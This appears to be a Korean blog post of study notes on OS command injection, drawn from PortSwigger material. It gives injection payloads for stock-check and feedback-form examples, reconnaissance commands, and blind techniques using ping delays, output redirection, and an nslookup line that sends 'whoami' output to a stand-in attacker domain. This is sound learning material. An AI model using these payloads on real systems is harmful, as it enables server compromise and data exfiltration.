R's Hacking Daily Log

Command Injection 본문

Port Swigger/Command Injection

Command Injection

hanhxx 2022. 11. 17. 20:38

https://portswigger.net/web-security/images/os-command-injection.svg

 

What is OS commnad Injection?

shell injection이라고도 하는 OS command injection은 웹 보안 취약점으로

application을 실행하는 server에서 임의의 OS 명령(command)을 실행하여 일반적으로 application과

모든 데이터를 손상시킬 수 있다. 

 

 

 

Execution arbitrary commands 

user가 특정 상점에 item 재고가 있는지 없는지 확인할 수 있는 shopping application을 고려해보자.
이 정보는 아래와 같은 URL을 통해 접근한다. 

https://insecure-website.com/stockStatus?productID=381&storeID=29


재고 정보를 제공하기 위해서, application은 다양한 legacy system에서 쿼리를 실행해야하고

이 기능은 product ID와 store ID를 인수로 shell 명령을 호출하여 실행된다. 

stockreport.pl 381 29

 

이 명령은 특정 item에 대한 재고상태를 출력하고 이는 user에게 반환된다.

application은 os commnd injection에 대한 방어를 실행하지 않으므로, 

공격자는 아래의 입력값을 제출하여 임의 명령을 실행할 수 있다.

& echo aiwefwlguh &

 

위의 값이 productID의 값으로 전달되면, application에 의해 실행되는 명령은 다음과 같다.

stockreport.pl & echo aiwefwlguh & 29

 

echo command는 단순히 output에 제공된 string이 적용되도록 하며 일부 유형의 os command injection을 테스트하는 데에 

유용한 방법이다. 

& 문자는 shell command 분리자로, 위의 코드 한 줄로 인해 사실상 3개의 명령이 실행되는 것이다. 
결론적으로, user에게 반환되는 output은 다음과 같다.

Error - productID was not provided
aiwefwlguh
29: command not found

 

위에 보이는 3줄은 다음과 같은 내용을 알려준다.

  1. 원래 입력된 명령 stockreport.pl이 예상 인자값 없이 실행되어 error 메세지를 반환한다.
  2. 주입된 echo 명령이 실행되었고, 제공된 string이 output에 반영되었다.
  3. 원래 인자값인 29가 실행되어 error가 발생했다.  

삽입된 명령 뒤에 &(추가 명령을 구분하는 기호)를 배치하는 것은 주입된 명령을 

주입 지점 다음에 오는 명령과 분리하기에 유용하게 사용되며, 이 때문에 주입된 명령이 실행되지 않을 가능성을 줄일 수 있다.

 

 

 

Useful commands 

os command injection 취약점을 특정하면, 몇 개의 initial command는 system에 대한 정보를 얻기 위해 유용하게 사용된다.
아래의 요약된 command는 Linux와 Windows 운영체제에서 사용하는 명령어이다. 

Purpose of command  Linux Windows
Name of current user
(현재 user가 누구인지)
whoami whoami
Network confiquration
(IPv4, IPv6, 서브넷 마스크 등)
ifconfig ipconfig 
Network connections
(protocol, 로컬&외부 ip 주소 등)
netstat -an netstat -an
Running processes 
(실행되고 있는 process들을 출력)
ps -ef tasklist

(cmd에서 간단히 사용하므로써 여러 정보를 확인해볼 수 있음)

 

 

 

Blind OS command injection vulnerabilities 

많은 경우 os command injection은 blind vulnerabilities이다 
blind vulnerability란, application이 http response 안에 command의 결과값을 반환하지 않는다는 의미이다.
그래서 blind vulnerabilities가 지금도 악용될 수 있지만, 다른 기술 또한 요구되어진다. 

[Consider] 

사용자가 site에 대한 feedback을 제출하는 web site에 대해 생각해보자. 
사용자는 feedback message와 자신의 email address를 제출할 것이고 server측 application은 site의 관리자에게 그 feedback을 포함하는 email을 만들어 줄 것이다. 이 동작을 하기 위해서, 제출된 세부사항이 있는 mail 프로그램이 호출된다.

예를 들어,

mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com

mail command의 output은 application의 response에 반환되지 않으며, echo payload는 효과가 없을 것이다. 
이런 경우, 우리는 취약점을 공격하고 악용하기 위해 다양한 기술을 사용할 수 있다. 

 

 

 

Detecting blind OS command injection using time delays

time delay발생시키는 injected command로, 
application이 응답하는 데 걸리는 시간을 기준으로 command가 실행되었는지 확인할 수 있다. 

ping command는 보낸 ICMP packet의 수와 명령 실행에 걸리는 시간을 지정할 수 있으므로,
위의 내용을 수행하는 효과적인 방법이다. 

& ping -c 10 127.0.0.1 &

이 명령으로 인해, application은 network adapter에서 10초동안 loopback하게 된다.

 

(loop back = 신호나 데이터 스트림을 source로 돌려보내 device가 제대로 동작을 하고 있는지, 
네트워크에서 오류가 발생하는 노드가 있는지 없는지의 여부를 확인하는 process)


 

Exploting blind OS command injection by redirection output

injected command의 output을 web root 내의 파일에 저장되게 설정한 다음 브라우저를 사용하여 검색할 수 있다.
application이 파일 시스템 위치 /var/www/static에서 static resource를 제공한다면 다음과 같이 입력을 할 수 있다.

& whoami > /var/www/static/whoami.txt &

 

> 기호는 whoami의 output을 /var/www/static/whoami.txt 파일에 전달하는 의미를 가진다 
그런 다음 브라우저를 사용하여  https://vulnerable-website.com/whoami.txt 를 가져와 파일을 검색하고 

주입된 명령의 output을 볼 수 있게 된다. 

 



Exploiting blind OS command injection using out-of band techniques

OAST 기술을 사용하여, 우리가 제어하는 system과 대역을 벗어나는 네트워크 상호작용을 발생시키는 명령을 할 수 있다.

& nslookup kgji2ohoyw.web-attacker.com &

 

위의 명령에서 nslookup command는 특정 domain에 대해 DNS lookup을 야기시키기 위해서 사용되었다.
공격자는 지정된 lookup이 발생하는지 모니터할 수 있고, 그에 따라 명령이 성공적으로 주입되었는지 감지할 수 있게 된다. 


또한 대역 외 채널은 주입된 명령으로부터의 출력값을 추출하기에 쉬운 방법을 제공한다.

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

 

위의 명령에 의해 whoami의 결과를 포함하는 공격자의 domain에 대해 DNS lookup이 발생한다. 

wwwuser.kgji2ohoyw.web-attacker.com








'Port Swigger > Command Injection' 카테고리의 다른 글

Access Control - Lab (2)  (0) 2023.06.13
OS Command Injection (3) & Lab (3)  (0) 2023.06.04
OS Command Injection (2) & Lab (2)  (0) 2023.06.03
OS Command Injection (1) - Lab (1)  (0) 2023.06.02
OS Command Injection (1)  (0) 2023.06.01
Comments